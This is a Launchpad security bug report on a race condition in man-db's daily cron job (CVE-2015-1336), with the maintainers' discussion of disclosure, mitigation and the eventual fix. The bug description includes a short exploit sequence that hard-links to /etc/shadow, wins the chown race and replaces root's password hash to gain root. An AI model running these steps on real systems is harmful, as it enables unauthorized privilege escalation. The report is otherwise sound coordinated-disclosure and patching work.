man-db daily cron job TOCTOU bug when processing catman pages

Bug #1482786 reported by halfdog
262
This bug affects 2 people
Affects Status Importance Assigned to Milestone
apport (Ubuntu)
Fix Released
Undecided
Unassigned
man-db (Ubuntu)
Fix Released
High
Colin Watson
pam (Ubuntu)
Confirmed
Undecided
Unassigned
shadow (Ubuntu)
Confirmed
Undecided
Unassigned

Bug Description

The daily mandb cleanup job for old catman pages changes the permissions of all non-man files to user man. The problematic code is:

# expunge old catman pages which have not been read in a week
if [ -d /var/cache/man ]; then
  cd /
  if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
    find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
      xargs -r0 chown -f man || true
  fi
  ...

By creating a hard link and winning the race, user man may escalate privileges to user root. See [1] for full explanation.

man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow

# lsb_release -rd
Description: Ubuntu 14.04.3 LTS
Release: 14.04

# apt-cache policy man-db
man-db:
  Installed: 2.6.7.1-1ubuntu1
  Candidate: 2.6.7.1-1ubuntu1
  Version table:
 *** 2.6.7.1-1ubuntu1 0
        500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages
        100 /var/lib/dpkg/status
     2.6.7.1-1 0
        500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages

[1] http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

CVE References

Revision history for this message
Seth Arnold (seth-arnold) wrote :

Thanks Halfdog, this is as usual very interesting.

I think there's several issues here that should be addressed:

- apport's /var/crash/.lock should be set mode 600 instead of 777
- mandb should be rebuilt with ./configure --disable-cats
- the cronjobs and systemd tmp file handling should be removed

At least, I think it's time to remove the cat pages. They seem more trouble than they are worth. I'm not sure why the cronjob changes file ownership and I'm having trouble finding out why it would need to. So I'd rather remove it, and the reason for it to exist. Are there other mediation steps that we should take?

Removing the cat pages is a fairly large change but I'm not seeing smaller options that would address this without removing them. Are there any other smaller steps that I've overlooked?

Thanks

Revision history for this message
Seth Arnold (seth-arnold) wrote :

Oh yes, also:

- pam / shadow ought to verify /etc/shadow and other files for correct permissions

Changed in apport (Ubuntu):
status: New → Confirmed
Changed in man-db (Ubuntu):
status: New → Confirmed
Changed in pam (Ubuntu):
status: New → Confirmed
Changed in shadow (Ubuntu):
status: New → Confirmed
Revision history for this message
halfdog (halfdog) wrote :

I second all your recommendations. Just trying to do some considerations from Ubuntu (distributor's ) point of view:

I do not know, if catman is still used, someone might complain. If yes, then in my opinion, creation of files by catman is the problem: when catman is run as user "man", the chown is not required, removal is done as user "man" anyway. So privilege separation would be OK.

If cat pages are generated as user "root", storing them in directory writable by user "man" is VERY risky and should not be performed anyway. In that case separation of storage locations should be more the way to go.

About PAM: I did not verify, if PAM does or does not perform permission checks, in that case the owner check is the problematic part. Here I do not known, if there might be regressions due to unexpected use of passwd/shadow tools together with the chroot option to operate on offline uid-namespaced containers, e.g. switched off LXC before poweron. In that case, the tools could refuse to operate.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

The man-db insecure chown issue gets CVE-2015-1336.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Since this isn't a high-severity issue, I would like to make it public so that Debian and Ubuntu can work on a fix.

When can we make this public?

Revision history for this message
halfdog (halfdog) wrote :

I see it the same way. I would also include publication of the group man to group root privilege escalation via the setgid directory (the e-mails from 2015-05-15 03:00:46 on [1]), which may also use part of the same technique here but was caused by a combination of different factors, one including the kernel, but not clear, which component is at fault and where to start with the fix. The discussion at security-at-kernel.org also ended about 2015-07-06 without final conclusion.

Should I add a second bug report for this other problem, e.g. against package kernel and man-db? Or do publication and see, what will be consensus after discussion and then decide about affected package and way to fix?

Just make the issues public when you feel, that it makes sense.

[1] http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/

Revision history for this message
Colin Watson (cjwatson) wrote :

Can you please give me (= upstream, Debian maintainer) a chance to think about it before doing anything invasive like switching to --disable-cats? That seems to me to be a significant change beyond what I'd normally expect the security team to do, and I expect that this can be fixed otherwise.

Revision history for this message
Colin Watson (cjwatson) wrote :

Incidentally, I'm a little surprised that this is the first I heard of it given the linked timeline. Did I miss an e-mail somewhere, given that I'm the primary maintainer of this code? I was lucky and happened to notice mails pertaining to this bug in a very busy e-mail folder, but could easily have missed it - a direct notification would have been much more reliable.

Revision history for this message
Seth Arnold (seth-arnold) wrote :

Colin, there was a related issue that Halfdog reported to us in May that used the /var/cache/man/ directory in conjunction with a kernel oddity to provide a different group man -> root user vulnerability. It's not widely known, but is documented at http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/

This second flaw is what encouraged me to suggest taking the more drastic step of disabling the catdoc functionality.

If you can find other solutions that are less invasive, it certainly would be more in keeping with the style of security updates. But with the speed of modern machines, I'm not sure catdocs are as useful as they used to be, so it seemed like an easy step to take to mitigate security problems, both these two and potentially future issues.

Thanks

Revision history for this message
Colin Watson (cjwatson) wrote :

My train of thought is that the setgid bit isn't inherently necessary to make cat files work - it was added before my time as maintainer with an unsatisfying explanation, and I've long been intending to look into it properly - and the cron job was there to work around a problem that was never fully diagnosed. IOW, neither of these issues are central to cat files. I plan to pare these things away, but I need to do some auditing to make sure that I'm not going to break anything else in the process.

Revision history for this message
halfdog (halfdog) wrote :

Regarding #9 "It's not widely known, but is documented...": currently the document links were provided only to security folks (kernel security, Ubuntu security, Launchpad) working on the issue, there are no known public references to it yet. As long as information does not leak or someone guesses the URL, there is still some time for thorough analysis and fixing.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

Has there been any progress on fixing this issue?

Revision history for this message
halfdog (halfdog) wrote :

Not to my knowledge. Perhaps it is unclear how to proceed as the issue was tagged with apport/pam/shadow after reporting it against mandb. I could split them up, perhaps that would simplify a little.

Apart from that: the mandb issue seems of low-impact, perhaps making it public would help to attract other developers to assist in fixing.

Revision history for this message
halfdog (halfdog) wrote :

As the issue seems to be minor and there was no progress in the last 3 month, does anyone have objections making this public 2015-11-30 00:00 to give others a chance to fix it?
(Also notified Colin Watson according to this note from 2015-08-15)

information type: Private Security → Public Security
Mathew Hodson (mhodson)
Changed in man-db (Ubuntu):
importance: Undecided → Medium
jose (josekm36-j)
Changed in apport (Ubuntu):
status: Confirmed → Fix Committed
Changed in man-db (Ubuntu):
status: Confirmed → Fix Committed
Changed in pam (Ubuntu):
status: Confirmed → Fix Committed
Changed in shadow (Ubuntu):
status: Confirmed → Fix Committed
Changed in apport (Ubuntu):
status: Fix Committed → Confirmed
Changed in man-db (Ubuntu):
status: Fix Committed → Confirmed
Changed in pam (Ubuntu):
status: Fix Committed → Confirmed
Changed in shadow (Ubuntu):
status: Fix Committed → Confirmed
Revision history for this message
Colin Watson (cjwatson) wrote :

Apologies for my long delay in dealing with these bugs, both reported by halfdog. Fixes turned out to be quite complicated, since in part they involved unwinding incorrect logic from nearly 20 years ago and ensuring that everything else built on that was appropriately adjusted.

Here are the relevant sections from my release announcement, which should appear at https://lists.nongnu.org/archive/html/man-db-announce/2016-12/msg00000.html in the near future:

  * SECURITY: Eliminate dangerous setgid-root directories. In the default
    configuration, cache files and directories are now owned by man:man
    rather than man:root; man and mandb are now setgid man as well as
    setuid man (except in the --disable-setuid case). This is a much
    simpler and safer solution to the original problem that caused my
    predecessor to make directories setgid root, and doesn't introduce any
    interesting new privilege since the man group's only real purpose is
    to be the man user's primary group and nothing in cache directories is
    group-writeable.

    Maintainers of distribution packagers should take care to review their
    installation rules in light of this change.

    As far as I know this has no CVE ID, but it is described here:

      http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/

  [...]

  Notes for distributors
  ======================

  The security fix above was quite involved. If you're trying to backport
  it to a stable release, then you should probably consider at least these
  commits:

    e62b9edafe00c51e52863718cb2eb1e29385230e Rename some anomalous x* functions
    9ab9f3dd9b0d5f290c635995559332c1710e5b4d man(1): Fix gcc warnings
    0f8b5518949866075c25787bdc4e9c064597c21e Separate cache owner from --enable-setuid option
    94b9d1e2a14ce8790d7c73df00d0bbd9e40cd437 Handle cleanup stack more safely
    c7f7daa9b2ffbbf4c45a2b168802a51acc2263c0 Make --disable-cache-owner imply --disable-setuid
    31552334cecee82809059ec598a37d9ea82683f0 Eliminate dangerous setgid-root directories
    755a9551c45da82f99d0ad8e46ef756afbeafb3f Fix distcheck following cache-owner/setuid changes
    75701f7fd9a00108abeb851792231b3d9bc2a67d Fix systemd tmpfiles group/perms of /var/cache/man

  Feel free to contact me if you have difficulty. You should also
  consider
  http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/,
  which could not be fixed without fixing the above bug first; while this
  bug was in Debian-specific cron jobs, others may have copied them.

I've uploaded 2.7.6-1 to unstable with fixes for these vulnerabilities. I'd be happy to help out the Debian and Ubuntu security teams with backports if they need it, although hopefully the above list of git commits is enough to get started.

Changed in man-db (Ubuntu):
assignee: nobody → Colin Watson (cjwatson)
importance: Medium → High
status: Confirmed → Fix Committed
Revision history for this message
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package man-db - 2.7.6.1-1

---------------
man-db (2.7.6.1-1) unstable; urgency=medium

  * New upstream release:
    - Don't chmod CACHEDIR.TAG if it doesn't exist (closes: #847810).

 -- Colin Watson <email address hidden> Mon, 12 Dec 2016 12:51:57 +0000

Changed in man-db (Ubuntu):
status: Fix Committed → Fix Released
Revision history for this message
Chris Adams (acdha) wrote :

Was the decision made not to backport this to 14.04 and 16.04 LTS?

Revision history for this message
Serge Hallyn (serge-hallyn) wrote :

@cjwatson - is it safe to assume the fix was entirely in man-db? Or was shadow supposed to do something here as well?

Revision history for this message
Colin Watson (cjwatson) wrote :

@serge-hallyn: The fix for the reported bug was entirely in man-db (see comment #15), although it was a combination of upstream and packaging work. The apport, pam, and shadow tasks were spun off by @sarnold; the pam/shadow tasks are explained in comment #2.

Revision history for this message
Benjamin Drung (bdrung) wrote :

The apport lock file permission was addressed in bug #1862348.

Changed in apport (Ubuntu):
status: Confirmed → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.